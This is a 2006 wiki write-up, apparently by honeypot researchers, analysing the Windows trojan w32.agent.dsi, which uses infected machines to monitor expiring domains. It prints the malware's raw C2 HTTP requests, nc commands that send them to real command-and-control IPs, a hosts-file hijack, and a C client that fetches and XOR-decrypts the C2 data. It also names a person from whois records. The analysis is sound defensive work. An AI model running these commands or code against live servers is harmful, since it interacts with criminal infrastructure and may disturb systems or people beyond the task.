Analysis w32.agent.dsi

file hash: 1e65c416e0538fc061adb8c2cb0a8323
filesize: k.exe - 97280 bytes

UPDATE
We were able to reproduce a callback by the k.exe file sending information about free domains, we’ll update this in time.

UPDATE
we updatet the domain list
analysis:w32agent.dsi:updated_questioned_domains.rtf
the new list is again in txt format, and contains 44461 domains
maybe yours too?

The File

Someone from http://heise.de gave us a hint to look at a suspicious website. Visiting the page http://www.lernen-im-netz.de, we were asked to download a file named ‘k.exe’ as a plug-in for Internet Explorer to enhance it’s features. As we did not believe that a file smaller than 30 megabytes could help with Internet Explorer mess, we had a look at it.

We started the file in ollydbg, and...

... the malware pings and wants to connect to the IP address 213.203.209.124

Having a look at http://dnsstuff.com/tools/whois.ch?ip=213.203.209.124 we find the name

person:       Mario Dolzer
address:      Universal Boards GmbH & Co KG
address:      Schwanthalerstr. 5
address:      80336 M�nchen
address:      DE
phone:        +49 89 59992***
fax-no:       +49 89 59992***
e-mail:       ****@mariodolzer.de

You may want to read the following links to draw a picture about his buisness.

Further analysis showed that the binary also tries to connect to some other IP addresses:

$ tcpdump -r malware-2.ethereal icmp | awk '{print $3}' | sort | uniq -c
reading from file malware-2.ethereal, link-type EN10MB (Ethernet)
    261 XXX.XXX.XXX.XXX
     29 213.203.209.118
     29 213.203.209.119
     29 213.203.209.120
     29 213.203.209.121
     29 213.203.209.122
     29 213.203.209.123
     29 213.203.209.124
     29 213.203.209.125
     29 213.203.209.126

So it seems like he is using this whole range for this malware.

What does it do

On http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837 you can find good information about typical behaviour of the binary.

In short:

  1. registers itself at an Apache webserver
  2. downloads data from this server
    1. creates files containing domain names
    2. decrypts the files
  3. connects to whois servers of several registries to query the domain names from the file
  4. downloads new data
  5. ...

Upon first start-up, k.exe copies itself to %SystemDIR%\k.exe and starts itself again. It then creates several registry keys and a mutex (For more info on that, take a look at http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837). Moreover, a link called fkd8df6s.lnk is created. This points to “%SystemDIR%\k.exe /uninstall” and thus is meant to uninstall the malware. In addition, it creates a file called “lizenz.txt” which contains some license agreement (”Lizenzvertrag Universal Boards GmbH & Co. KG - Bitte aufmerksam lesen!” - full text at license).

In the directory %SystemDIR%, three additional files are created:

  • ddata - contains 3000 .de-Domains in cleartext. In addition, each domain-name is followed by several numbers (e.g. “2005 08 05 00 00 00 2005 08 12 00 00 00”) whose meaning is unclear.
  • lddate - Contains a number, presumably a status-code. We saw the number 3, 36, 168, and several more
  • pdata - some URLs that point to different locations at http://www.1md.de. In addition, each line also contains some numbers (e.g. “1263 0 1 1024 768 1 0 1 1 1 0 1 0”) whose meaning is unclear.

The binary also modifies Internet Explorer so that IE displays advertisements. Moreover, it adds two new bookmarks to IE favorites:

The Registration

Everyone is able to reproduce the registering and the download of a new URL list:

$ cat w32.agent.dsi_register.txt
POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: jd%$dkj22e[df
Host: 213.203.209.124
Content-Length: 42
Cache-Control: no-cache


uid=2C363C9B91BA3966959CC3BA5E6BB3A8&v=188

Now you can register yourself as malware using the following command:

$ nc 213.203.209.124 80 < w32.agent.dsi_register.txt

The Data Download

If you want to get the encrypted URLs, you can use the following request:

$ cat w32.agent.dsi_geturls.txt
GET /get.php?uid=2C363C9B91BA3966959CC3BA5E6BB3A8&lv=113&cv=188&sv=000&pv=100&fv=100&rv=100&ds=20050804160846&fd=1&fp=1 HTTP/1.1
User-Agent: jd%$dkj22e[df
Host: 213.203.209.123
Cache-Control: no-cache

Afterwards, just execute the this tiny script:

while [ $i -lt  20 ]; do echo $i;  cat w32.agent.dsi_geturls.txt | nc 213.203.209.123 80 > w32.agent.dsi_urls.dump.$i ; let i=$i+1; done;

Whois Queries

The malware will connect to the appropriate whois server for the domains he received, and send a query:

<the domain in question>

The whois server will reply

domain:      <the domain in question>
status:      <the domains status (connected|free)>

Fooling the malware

Unfortunately the URLs are encrypted when they are downloaded from the server, and we are simply to lame to decrypt them. Maybe someone else will take the challenge and try to decode the URLs received by the server...

Nevertheless, we found another way to retreive the URLs:

Faking the registrar domain names

Since the malware has to use the function gethostbyname() for each registrar in order to connect its whois service, we can simply hijack this process. To achieve this, we use a technique that is quite common for current viri to disable anti-virus scanner updates and similar things: we simply put something like

$ more C:\WINNT\system32\drivers\etc\hosts
[...]
192.168.23.42       whois.denic.de
192.168.23.42       whois.internic.com
192.168.23.42       whois.afilias.info
192.168.23.42       whois.crsnic.net
[...]

in our hosts file, so that these DNS names will resolve to one IP of our choice, in this case one of our servers.

The analysis at http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837 lists a more complete lists of the DNS names that we have to resolve to ourselves:

# "whois.internic.com"
# "whois.adamsnames.tc"
# "whois.nic.be"
# "whois.nic-se.se"
# "whois.nic.cc"
# "whois.nic.nu"
# "whois.nic.dk"
# "whois.nic.nl"
# "whois.partnergate.de"
# "whois.nic.it"
# "whois.nic.li"
# "whois.nic.ch"
# "whois.nic.at"
# "whois.crsnic.net"
# "whois.publicinterestregistry.net"
# "whois.nic.uk"
# "whois.afilias.info"
# "whois.nic.biz"
# "whois.neulevel.biz"
# "whois1.verisign-grs.net"
# "whois.dns.pl"
# "whois.nic.us"
# "whois.ripe.net"
# "whois.nic.ag"
# "whois.cnnic.net.cn"
# "whois.denic.de"

Setting up a whois daemon

Now we get the whois requests redirected to one of our boxes, so we have to setup a whois daemon who logs all incoming requests.

Since someone from our team is a lazy cow, he just took the x-2 example from the nepenthes source (http://nepenthes.sf.net), and modified 12 lines in order to ‘emulate’ a whois server that always replies

domain:      <the domain in question>
status:      connected

Afterwards, he removed all breakpoints from the programm, and let it run.

The firewall asked for all connections ‘k.exe’ wanted to establish, except those that are answered by the hosts file and redirected to the brandnew nepenthes always connect whois server. So from time to time we had to add new whois servers to the hosts file. Adding new hosts entries was easy: Just block the first connection, add the requested whois domain to the hosts file, and let it run again. The list above contains all whois servers that we found during our analysis.

As k.exe was still running in the debugger ollydbg, it took about 100%cpu. When the ‘nepenthes whois emu’ stalled at about 5.000 different domains, we switched it off.

Afterwards we tried to reply to a query with ‘free’ state per default for all domains. We wanted to see how the malware reacts to ‘free’ domains and wether the malware contacts the server to tell him about free domains.

This HTTP Post differs from the one used to register.

POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: jd%$dkj22e[df
Host: 213.203.209.124
Content-Length: 172
Cache-Control: no-cache

uid=2C363C9B91BA3966959CC3BA5E6BB3A8&v=188&url%5B%5D=%68%74%74%70%3a%2f%2f%77%77%77%2e%31%6d%64%2e%64%65%2f%7a%75%67%61%6e%67%2d%6e%65%77%31%2d%34%2e%68%74%6d%6c&pt%5B%5D=5 HTTP/1.1

the servers reply is equal

200 OK
Date: Fri, 05 Aug 2005 10:49:39 GMT
Server: Apache/1.3.26 (Unix) Debian GNU/Linux mod_gzip/1.3.19.1a PHP/4.3.5
X-Powered-By: PHP/4.3.5
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

0

url%5B%5D=%68%74%74%70%3a%2f%2f%77%77%77%2e%31%6d%64%2e%64%65%2f%7a%75%67%61%6e%67%2d%6e%65%77%31%2d%34%2e%68%74%6d%6c&pt%5B%5D=5 HTTP/1.1

this means

url[]=http://www.1md.de/zugang-new1-4.html&pt[]=5

you dont want to click this link

URLs found in the wild

The following analysis:w32agent.dsi:questioned_domains gives an impression of how many different URLs we have found during our analysis (>12000). Here you can find a new version of the domain list with more than 44.000 domains analysis:w32agent.dsi:updated_questioned_domains.rtf (about 700kb in size)

The service on port 6666

Once thing still remains: the malware sets up a ‘service’ on port 6666, identifing itself as

$ nc -vv localhost 6666
200 adtool updateserver protocol v0.1

We tried to login to this service, but we always got

400 command not understood

After some time of inactivity, the service disconnected us:

400 timeout

update
Now we tried

get

and received a copy of k.exe on the connection.

using a dummy to download & decrypt the data

actually this dummy was created reversing the k.exe successor help.exe the code is weak, but it works and can be used to create autodomainlistings getting watched by the domain-engel.de group

#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
 
#define USER_AGENT "jd\%$dkj22e[df"
 
#define POST_PATH "/postgewinnspiel.php"
#define POST_BODY "uid=AD4A13769D9D65C5E0322353862ED605&v=192"
 
#define GET_PATH "/getgewinnspiel.php?uid=AD4A13769D9D65C5E0322353862ED605&lv=116&cv=192&sv=100&pv=100&fv=122&rv=131&ds=20060118184823&fd=1&fp=1"
 
char *servers[] =
{
  "213.203.209.118",
  "213.203.209.119",
  "213.203.209.120",
  "213.203.209.121",
  "213.203.209.122",
  "213.203.209.123",
  "213.203.209.124",
  "213.203.209.125",
  "213.203.209.126"
};
 
int postit(int, char **);
int getit(int, char **);
void decryptit(int, char *);
 
int main()
{
  srand(time(NULL));
  int server = rand()%(sizeof(servers)/sizeof(char *));
  char *buffer;
  postit(server, &buffer);
  int size = getit(server, &buffer);
 
  decryptit(size,buffer);
 
}
 
int postit(int server, char **buffer)
{
  printf("[%s] Posting the crap to %s\n","*",servers[server]);
  int fd = connect_server(server);
  char *post=
  "POST /postgewinnspiel.php HTTP/1.1\r\n"
  "Content-Type: application/x-www-form-urlencoded\r\n"
  "User-Agent: jd%$dkj22e[df\r\n"
  "Host: 213.203.209.121\r\n"
  "Content-Length: 42\r\n"
  "Cache-Control: no-cache\r\n"
  "\r\n"
  "uid=AD4A13769D9D65C5E0322353862ED605&v=192";
 
  int res = send(fd,post,strlen(post),0);
  if ( res != strlen(post) )
  {
    printf("[%s] failed %i:%i, (%s)\n","-",strlen(post),res,strerror(errno));
  }else
  {
    printf("[%s] success sending %i bytes\n","+",res);
  }
 
  char *reply = (char *)malloc(1024);
  int size=1024;
  int rxbytes;
  while( (rxbytes = recv(fd,reply,size,0)) > 0)
  {
    printf("[+] read %i bytes\n",rxbytes);
  }
 
//  printf("%s",reply);
}
 
int getit(int server, char **buffer)
{
  printf("[%s] Getting domains from %s\n","*",servers[server]);
  int fd = connect_server(server);
  char *get =
"GET /getgewinnspiel.php?uid=AD4A13769D9D65C5E0322353862ED605&lv=116&cv=192&sv=100&pv=100&fv=122&rv=131&ds=20060118184823&fd=1&fp=1 HTTP/1.0\r\n"
"User-Agent: jd%$dkj22e[df\r\n"
"Host: 213.203.209.121\r\n"
"Cache-Control: no-cache\r\n"
"\r\n";
 
  int res = send(fd,get,strlen(get),0);
  if ( res != strlen(get) )
  {
    printf("[%s] failed %i:%i, (%s)\n","-",strlen(get),res,strerror(errno));
  }else
  {
    printf("[%s] success sending %i bytes\n","+",res);
  }
 
  char rxbuf[1024];
  int rxsize=0;
 
  char *reply=NULL;
  int size=0;
  while( (rxsize = recv(fd,rxbuf,1024,0)) > 0)
  {
    printf(" RX %5i size %5i reply %8x\n",rxsize,size,reply);
    reply = realloc(reply,size+rxsize);
    memcpy(reply+size,rxbuf,rxsize);
    size = size + rxsize;
  }
 
 
  int i=0;
 
  char *buf=reply;
  while (i<size)
  {
    if (i >= 3 &&  buf[i] == '\n' && buf[i-1] == '\r' && buf[i-2] == '\n' && buf[i-3] == '\r' )
    {
      printf("found header at offset %i\n", i);
      printf("%.*s\n",i,buf);
      i++;
      break;
    }
    i++;
  }
  if ( i >= size )
  {
    printf("[%s] Could not find header \n","-");
  }
 
  *buffer = (char *)malloc(size-i);
  memcpy(*buffer,reply+i,size-i);
  return size-i;
}
 
int connect_server(int server)
{
  printf("[%s] Connecting %s\n","*",servers[server]);
 
  int fd=socket(AF_INET, SOCK_STREAM, 0);
  unsigned long remotehost = inet_addr(servers[server]);
  struct sockaddr_in ssin;
  ssin.sin_family=AF_INET;
  ssin.sin_port=htons(80);
  ssin.sin_addr.s_addr=remotehost;
  int res=connect(fd, (struct sockaddr*)&ssin, sizeof(struct sockaddr_in));
  if (res > 0 )
  {
    printf("[%s] failed (%s)\n","-",strerror(errno));
  }else
  {
    printf("[%s] success (socket %i)\n","+", fd);
  }
  return fd;
}
 
void decryptit(int size, char *buffer)
{
  printf("[%s] Decrypt %i bytes\n","*",size);
  int i;
 
  char key[16] = {0xE1, 0x79, 0x85, 0xD8, 0x96, 0xD6, 0x03, 0xB9, 0xCD, 0x8C, 0xB3, 0xF1, 0x52, 0x83, 0x67, 0xF6};
 
  unsigned char j;
 
  for( i = 0; i <= 256; i++ )
  {
    printf(" %2x ",buffer[i]);
    if( (i + 1) % 16 == 0)
      printf("\n");
  }
  printf("\n");
  printf("\n");
 
 
  for( i = 0; i <= size; i++ )
  {
    unsigned char c = buffer[i] ^ key[i & 0xf];
    printf("%c", isprint(c) || isspace(c)  ? c : '.');
  }
 
}
 

What we suppose

In addition to the analysis we have written in the above paragraph, we also have some thoughts on the backgrounds:

  1. The domains the virus receives are high ranked in google (we only verified some)
  2. Most registrars have whois request limitations per IP
    1. The malware is used to monitor a large amount of domains in a very short intervall using the power of many thousand infected hosts
    2. If the domains gets free, the virus reports this
      1. It could be possible that someone then wants to register this domain

We have some clues that the network of compromised machines is quite big. At http://www.lernen-im-netz.de and some of the websites that are used as ads, an “etracker live” is visible. This is a service from http://www.etracker.de, a “web controlling” company. According to this statistic, 39 people are visiting http://www.lernen-im-netz.de at the time of this writing. In the last four hours, 1512 people visited the website. We found several other webpages, which also pointed to a more detailed analysis of page hits, e.g. available at http://www.etracker.de/soverview.php?PHPSESSID=0c71dcef444898986f4c612d284a74e3

 
analysis/w32agent.dsi.txt · Last modified: 2006/02/17 14:01
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki